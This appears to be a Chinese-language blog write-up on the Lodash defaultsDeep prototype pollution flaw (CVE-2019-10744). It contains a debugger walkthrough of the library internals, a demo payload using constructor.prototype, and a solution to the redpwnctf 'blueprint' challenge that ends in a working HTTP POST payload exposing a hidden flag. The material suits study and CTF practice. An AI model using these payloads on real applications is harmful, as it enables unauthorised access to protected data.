所需知识 CVE-2019-10744
Lodash 是一个 JavaScript 库,其中defaultsDeep在Lodash<4.17.12的版本下可能会造成全局的原型链污染
这里我选择4.17.11版本的Lodash库
1 npm install Lodash@4.17.11
defaultsDeep方法 defaultsDeep用来合并两个对象,并且会递归的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const _ = require ("lodash" )var a={"name" :"a" ,"age" : 22 ,"hobby" :["跑步" ,"玩游戏" ],family :{"father" :"Sam" }}var b={"name" :"b" ,"age" : 20 ,"hobby" :["跑步" ,"弹琴" ],"weight" :"65" ,family :{"father" :"Musk" ,"mother" :"Alice" }}var c= _.defaultsDeep (a,b)console .log (c)
从结果可以看出,
defaultsDeep方法会以a为基准,去寻找b中存在而a中不存在的属性,然后合并;
对于a和b对象中都存在的属性,则不会进行覆盖;
会对嵌套对象进行递归操作;
最终把合并结果赋给c
具体的递归逻辑是:
拿mother这个属性为例,
当defaultsDeep发现a.family中没有mother这个属性,就会执行
1 c.family .mother =b.family .mother
,这一步很重要,决定了为什么能产生原型链污染
测试Demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const _=require ("lodash" )var a = {"name" :"lanb0" }var obj={"msg" :"hello" }var b= {"constructor" :{"prototype" :{"msg" :"hacked!" }}}var c =_.defaultsDeep (a,b)console .log (obj.msg )console .log (a.msg )console .log (c.msg )console .log ({}.msg )
通过测试结果可以看出,位于最顶层的Object对象的msg属性被污染了,导致全局下的任何没有msg属性的对象都被污染
具体原理:
任何实例对象的构造器都是Object,而Object又位于原型链的最顶层
1 2 console .log (c.constructor ===Object )
漏洞分析 首先下断点
我的vscode会直接跳到overRest,但其实前面还有几步函数栈,为了逻辑完整,我就一步步来说
发现defaultDeep其实是一个函数引用,
真正调用的是baseRest,其中传递了一个匿名函数作为参数,
跟进baseRest,
overRest方法是函数栈的最上层,而且overRest的代码区第一行不是函数调用,所以编译器给我们直接jmp到这里也是对的
跟进overRest,
跟进apply
这里通过变量监控可以知道length为1,thisArg是lodash自己的一个对象,args具体如下
func就是传给baseRest 函数的那个匿名函数,
然后带着args作为参数执行这个func
1 args.push (undefined , customDefaultsMerge);
把undefined和customDefaultsMerge函数添加到args数组末尾
1 return apply (mergeWith, undefined , args);
又执行apply,跟进要执行的方法,现在是mergeWith
跟进createAssigner
assigner就是传进来的匿名函数引用,也就是baseMerge方法
跟进baseMerge
baseMerge方法主要分别两个阶段,第一阶段判断原对象和目标对象是否相等,也就是开头所讲的如果a的某个属性和b的某个属性相等就啥都不干
第二个阶段是在属性不相等的情况下,执行baseFor 函数,它可以用来遍历一个对象的属性,并对每个属性执行一个回调函数。
因为我们的srcValue是{prototype:{msg:”hacked!”}},是一个对象,所以执行的是baseMergeDeep,
跟进baseMergeDeep,
safeGet是检测属性名是否合法,本意上用来防止原型链污染,但很可惜,官方只检测了__proto__,却忘记了用构造器可以直接获取原型对象的老大Object
回到baseMergeDeep函数,因为stacked为undefined,所以执行
1 customizer (objValue, srcValue, (key + '' ), object, source, stack)
customizer是customDefaultsMerge方法的引用,
跟进customDefaultsMerge,
这里objValue是Object对象,srcValue则是我们的{prototype:{msg:”hacked!”}},所以执行baseMerge
所以这也是开头提到的递归机制
跟进baseMerge方法,重复之前的过程,这次我们直接到第二次来到5598行的isObject判断
这此的objValue依然是Object对象,而srcValue则是字符串”hacked!”,所以不会进入if里面
直接来到assignMergeValue,
跟进assignMergeValue,
这里判断值是不是undefined,是否是对象里的键,以及是否与原对象的键值相同
跟进baseAssignValue,
最终完成了Object.prototype.msg=”hacked!”的污染
[redpwnctf] blueprint 题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 const crypto = require ('crypto' )const http = require ('http' )const mustache = require ('mustache' )const getRawBody = require ('raw-body' )const _ = require ('lodash' )const flag = require ('./flag' )const indexTemplate = ` <!doctype html> <style> body { background: #172159; } * { color: #fff; } </style> <h1>your public blueprints!</h1> <i>(in compliance with military-grade security, we only show the public ones. you must have the unique URL to access private blueprints.)</i> <br> {{#blueprints}} {{#public}} <div><br><a href="/blueprints/{{id}}">blueprint</a>: {{content}}<br></div> {{/public}} {{/blueprints}} <br><a href="/make">make your own blueprint!</a> ` const blueprintTemplate = ` <!doctype html> <style> body { background: #172159; color: #fff; } </style> <h1>blueprint!</h1> {{content}} ` const notFoundPage = ` <!doctype html> <style> body { background: #172159; color: #fff; } </style> <h1>404</h1> ` const makePage = ` <!doctype html> <style> body { background: #172159; color: #fff; } </style> <div>content:</div> <textarea id="content"></textarea> <br> <span>public:</span> <input type="checkbox" id="public"> <br><br> <button id="submit">create blueprint!</button> <script> submit.addEventListener('click', () => { fetch('/make', { method: 'POST', headers: { 'content-type': 'application/json', }, body: JSON.stringify({ content: content.value, public: public.checked, }) }).then(res => res.text()).then(id => location='/blueprints/' + id) }) </script> ` const parseUserId = (cookies ) => { if (cookies === undefined ) { return null } const userIdCookie = cookies.split ('; ' ).find (cookie => cookie.startsWith ('user_id=' )) if (userIdCookie === undefined ) { return null } return decodeURIComponent (userIdCookie.replace ('user_id=' , '' )) } const makeId = ( ) => crypto.randomBytes (16 ).toString ('hex' )const users = new Map ()http.createServer ((req, res ) => { let userId = parseUserId (req.headers .cookie ) let user = users.get (userId) if (userId === null || user === undefined ) { userId = makeId () user = { blueprints : { [makeId ()]: { content : flag, }, }, } users.set (userId, user) } res.writeHead (200 , { 'set-cookie' : 'user_id=' + encodeURIComponent (userId) + '; Path=/' , }) if (req.url === '/' && req.method === 'GET' ) { res.end (mustache.render (indexTemplate, { blueprints : Object .entries (user.blueprints ).map (([k, v] ) => ({ id : k, content : v.content , public : v.public , })), })) } else if (req.url .startsWith ('/blueprints/' ) && req.method === 'GET' ) { const blueprintId = req.url .replace ('/blueprints/' , '' ) if (user.blueprints [blueprintId] === undefined ) { res.end (notFoundPage) return } res.end (mustache.render (blueprintTemplate, { content : user.blueprints [blueprintId].content , })) } else if (req.url === '/make' && req.method === 'GET' ) { res.end (makePage) } else if (req.url === '/make' && req.method === 'POST' ) { getRawBody (req, { limit : '1mb' , }, (err, body ) => { if (err) { throw err } let parsedBody try { parsedBody = _.defaultsDeep ({ publiс: false , cоntent : '' , }, JSON .parse (body)) } catch (e) { res.end ('bad json' ) return } const blueprintId = makeId () user.blueprints [blueprintId] = { content : parsedBody.content , public : parsedBody.public , } res.end (blueprintId) }) } else { res.end (notFoundPage) } }).listen (80 , () => { console .log ('listening on port 80' ) })
主要突破点在:
1 2 3 4 5 6 7 8 9 10 11 12 13 user = { blueprints: { [makeId()]: { content: flag, }, }, }
可以看到flag的对象并没有设置public属性为false,而仅仅是不设置,所以可以直接用defaultsDeep打全局变量污染
还有一个点,不知带是我复制的时候的问题,还是出题人故意设置的,就是混淆编码
1 2 3 4 5 6 7 8 9 10 11 12 13 parsedBody = _.defaultsDeep ({ publiс: false , cоntent : '' , }, JSON .parse (body))
可以看到按常理来说,public永远为false,因为defaultsDeep的机制就是不会对同名变量进行覆盖,但这里用编译器,比如vscode打开他会提示你这个c和正常的字符”c”是不一样的,而且容易混淆,所以说这个public和
1 2 3 4 5 6 7 user.blueprints [blueprintId] = { content : parsedBody.content , public : parsedBody.public , }
这里赋值的public并不相同,所以我们可以进行污染
最终Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /make HTTP/1.1 Host : 192.168.40.131:8004Content-Length : 72User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36content-type : application/jsonAccept : */*Origin : http://192.168.40.131:8004Referer : http://192.168.40.131:8004/makeAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : user_id=5a808b98384f0da2336bbe45def31ee8Connection : close{ "content" : { "constructor" : { "prototype" : { "public" : true } } } , "public" : true }